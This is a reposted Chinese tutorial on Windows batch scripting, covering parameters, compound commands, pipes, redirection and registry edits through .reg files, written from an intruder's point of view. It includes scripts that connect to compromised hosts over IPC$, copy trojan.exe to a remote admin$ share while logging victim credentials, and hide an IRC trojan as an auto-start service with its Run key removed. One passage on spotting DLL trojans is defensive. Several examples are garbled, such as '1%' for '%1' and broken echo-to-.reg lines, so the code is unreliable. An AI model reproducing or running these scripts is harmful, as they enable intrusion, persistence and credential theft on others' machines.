bat命令簡單介紹2(轉(zhuǎn))

二.如何在批處理文件中使用參數(shù)?

批處理中可以使用參數(shù),一般從1%到 9%這九個(gè),當(dāng)有多個(gè)參數(shù)時(shí)需要用shift來移動(dòng),這種情況并不多見,我們就不考慮它了。?

sample1: fomat.bat?

@echo off?

if "%1"=="a" format a:?

:format?

@format a:/q/u/auotset?

@echo please insert another disk to driver A.?

@pause?

@goto fomat?

這個(gè)例子用于連續(xù)地格式化幾張軟盤,所以用的時(shí)候需在dos窗口輸入fomat.bat a,呵呵,好像有點(diǎn)畫蛇添足了~?

sample2:?

當(dāng)我們要建立一個(gè)IPC$連接地時(shí)候總要輸入一大串命令,弄不好就打錯(cuò)了,所以我們不如把一些固定命令寫入一個(gè)批處理,把肉雞地ip password username 當(dāng)著參數(shù)來賦給這個(gè)批處理,這樣就不用每次都打命令了。?

@echo off?

@net use?\\1%\ipc$?"2%" /u:"3%" 注意哦,這里PASSWORD是第二個(gè)參數(shù)。?

@if errorlevel 1 echo connection failed?

怎么樣,使用參數(shù)還是比較簡單的吧?你這么帥一定學(xué)會(huì)了 .No.3?

三.如何使用組合命令(Compound Command)

1.&

Usage :第一條命令 & 第二條命令 [& 第三條命令...]

用這種方法可以同時(shí)執(zhí)行多條命令,而不管命令是否執(zhí)行成功

Sample :?

C:\>dir z: & dir c:\Ex4rch?

The system cannot find the path specified.?

Volume in drive C has no label.?

Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:51 .?

2002-05-14 23:51 ..?

2002-05-14 23:51 14 sometips.gif

2.&&

Usage :第一條命令 && 第二條命令 [&& 第三條命令...]

用這種方法可以同時(shí)執(zhí)行多條命令,當(dāng)碰到執(zhí)行出錯(cuò)的命令后將不執(zhí)行后面的命令,如果一直沒有出錯(cuò)則一直執(zhí)行完所有命令;

Sample :?

C:\>dir z: && dir c:\Ex4rch?

The system cannot find the path specified.

C:\>dir c:\Ex4rch && dir z:?

Volume in drive C has no label.?

Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:55 .?

2002-05-14 23:55 ..?

2002-05-14 23:55 14 sometips.gif?

1 File(s) 14 bytes?

2 Dir(s) 768,671,744 bytes free?

The system cannot find the path specified.

在做備份的時(shí)候可能會(huì)用到這種命令會(huì)比較簡單,如:?

dir file&://192.168.0.1/database/backup.mdb && copy file&://192.168.0.1/database/backup.mdb E:\backup?

如果遠(yuǎn)程服務(wù)器上存在backup.mdb文件,就執(zhí)行copy命令,若不存在該文件則不執(zhí)行copy命令。這種用法可以替換IF exist了 :)

3.││

Usage :第一條命令 ││ 第二條命令 [││ 第三條命令...]

用這種方法可以同時(shí)執(zhí)行多條命令,當(dāng)碰到執(zhí)行正確的命令后將不執(zhí)行后面的命令,如果沒有出現(xiàn)正確的命令則一直執(zhí)行完所有命令;

Sample :?

C:\Ex4rch>dir sometips.gif ││ del sometips.gif?

Volume in drive C has no label.?

Volume Serial Number is 0078-59FB

Directory of C:\Ex4rch

2002-05-14 23:55 14 sometips.gif?

1 File(s) 14 bytes?

0 Dir(s) 768,696,320 bytes free

組合命令使用的例子:?

sample:?

@copy trojan.exe?\\%1\admin$\system32?&& if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

四、管道命令的使用

1.│ 命令?

Usage:第一條命令 │ 第二條命令 [│ 第三條命令 ...]?

將第一條命令的結(jié)果作為第二條命令的參數(shù)來使用,記得在unix中這種方式很常見。

sample :?

time /t>>D:\IP.log?

netstat -n -p tcp│find ":3389">>D:\IP.log?

start Explorer?

看出來了么?用于終端服務(wù)允許我們?yōu)橛脩糇远x起始的程序,來實(shí)現(xiàn)讓用戶運(yùn)行下面這個(gè)bat,以獲得登錄用戶的IP。

2.> 、>>輸出重定向命令?

將一條命令或某個(gè)程序輸出結(jié)果的重定向到特定文件中, > 與 >>的區(qū)別在于,>會(huì)清除調(diào)原有文件中的內(nèi)容后寫入指定文件,而>>只會(huì)追加內(nèi)容到指定文件中,而不會(huì)改動(dòng)其中的內(nèi)容。

sample1 :?

echo hello world>c:\hello.txt (stupid example?)

sample2:?

時(shí)下DLL木馬盛行,我們知道system32是個(gè)捉迷藏的好地方,許多木馬都削尖了腦袋往那里鉆,DLL馬也不例外,針對(duì)這一點(diǎn)我們可以在安裝好系統(tǒng)和必要的應(yīng)用程序后,對(duì)該目錄下的EXE和DLL文件作一個(gè)記錄:?

運(yùn)行CMD--轉(zhuǎn)換目錄到 system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,?

這樣所有的EXE和DLL文件的名稱都被分別記錄到exeback.txt和dllback.txt中 ,?

日后如發(fā)現(xiàn)異常但用傳統(tǒng)的方法查不出問題時(shí),則要考慮是不是系統(tǒng)中已經(jīng)潛入DLL木馬了 .?

這時(shí)我們用同樣的命令將system32下的EXE和DLL文件記錄到另外的exeback1.txt和dllback1.txt中,然后運(yùn)行 :?

CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比較前后兩次的DLL和EXE文件,并將結(jié)果輸入到diff.txt中),這樣我們就能發(fā)現(xiàn)一些多出來的DLL和EXE文件,然后通過查看創(chuàng)建時(shí)間、版本、是否經(jīng)過壓縮等就能夠比較容易地判斷出是不是已經(jīng)被DLL木馬光顧了。沒有是最好,如果有的話也不要直接DEL掉,先用regsvr32 /u trojan.dll將后門DLL文件注銷掉,再把它移到回收站里,若系統(tǒng)沒有異常反映再將之徹底刪除或者提交給殺毒軟件公司。

3.< 、>& 、 <&?

< 從文件中而不是從鍵盤中讀入命令輸入。?

>& 將一個(gè)句柄的輸出寫入到另一個(gè)句柄的輸入中。?

<& 從一個(gè)句柄讀取輸入并將其寫入到另一個(gè)句柄輸出中。?

這些并不常用,也就不多做介紹。

No.5?

五.如何用批處理文件來操作注冊(cè)表

在入侵過程中經(jīng)常回操作注冊(cè)表的特定的鍵值來實(shí)現(xiàn)一定的目的,例如:為了達(dá)到隱藏后門、木馬程序而刪除Run下殘余的鍵值。或者創(chuàng)建一個(gè)服務(wù)用以加載后門。當(dāng)然我們也會(huì)修改注冊(cè)表來加固系統(tǒng)或者改變系統(tǒng)的某個(gè)屬性,這些都需要我們對(duì)注冊(cè)表操作有一定的了解。下面我們就先學(xué)習(xí)一下如何使用.REG文件來操作注冊(cè)表.(我們可以用批處理來生成一個(gè)REG文件 )?

關(guān)于注冊(cè)表的操作,常見的是創(chuàng)建、修改、刪除。

1. 創(chuàng)建?

創(chuàng)建分為兩種,一種是創(chuàng)建子項(xiàng)(Subkey)

我們創(chuàng)建一個(gè)文件,內(nèi)容如下:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]

然后執(zhí)行該腳本,你就已經(jīng)在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下創(chuàng)建了一個(gè)名字為"hacker"的子項(xiàng)。

另一種是創(chuàng)建一個(gè)項(xiàng)目名稱?

那這種文件格式就是典型的文件格式,和你從注冊(cè)表中導(dǎo)出的文件格式一致,內(nèi)容如下:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]?

"Invader"="Ex4rch"?

"Door"=C:\\WINNT\\system32\\door.exe?

"Autodos"=dword:02

這樣就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下?

新建了:Invader、door、about這三個(gè)項(xiàng)目?

Invader的類型是 "String value"?

door的類型是 "REG SZ value"?

Autodos的類型是"DWORD value"

2. 修改?

修改相對(duì)來說比較簡單,只要把你需要修改的項(xiàng)目導(dǎo)出,然后用記事本進(jìn)行修改,然后導(dǎo)入(regedit /s)即可。

3. 刪除?

我們首先來說說刪除一個(gè)項(xiàng)目名稱,我們創(chuàng)建一個(gè)如下的文件:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]?

"Ex4rch"=-

執(zhí)行該腳本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被刪除了;

我們?cè)倏纯磩h除一個(gè)子項(xiàng),我們創(chuàng)建一個(gè)如下的腳本:

Windows Registry Editor Version 5.00

[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

執(zhí)行該腳本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已經(jīng)被刪除了。

相信看到這里,.reg文件你基本已經(jīng)掌握了。那么現(xiàn)在的目標(biāo)就是用批處理來創(chuàng)建特定內(nèi)容的.reg文件了,記得我們前面說道的利用重定向符號(hào)可以很容易地創(chuàng)建特定類型的文件。

samlpe1: 如上面的那個(gè)例子,如想生成如下注冊(cè)表文件?

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]?

"Invader"="Ex4rch"?

"door"=hex:255?

"Autodos"=dword:000000128?

只需要這樣:?

@echo Windows Registry Editor Version 5.00>>Sample.reg

@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg?

@echo "Invader"="Ex4rch">>Sample.reg?

@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg?

@echo "Autodos"=dword:02>>Sample.reg

samlpe2:?

我們現(xiàn)在在使用一些比較老的木馬時(shí),可能會(huì)在注冊(cè)表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一個(gè)鍵值用來實(shí)現(xiàn)木馬的自啟動(dòng).但是這樣很容易暴露木馬程序的路徑,從而導(dǎo)致木馬被查殺,相對(duì)地若是將木馬程序注冊(cè)為系統(tǒng)服務(wù)則相對(duì)安全一些.下面以配置好地IRC木馬DSNX為例(名為 windrv32.exe)?

@start windrv32.exe?

@attrib +h +r windrv32.exe?

@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll?

@echo "windsnx "=- >>patch.dll?

@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe?

@regedit /s patch.dll?

@delete patch.dll

@REM [ 刪除DSNXDE在注冊(cè)表中的啟動(dòng)項(xiàng),用sc.exe將之注冊(cè)為系統(tǒng)關(guān)鍵性服務(wù)的同時(shí)將其屬性設(shè)為隱藏和只讀,并config為自啟動(dòng) ]?

@REM 這樣不是更安全.

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

推薦閱讀更多精彩內(nèi)容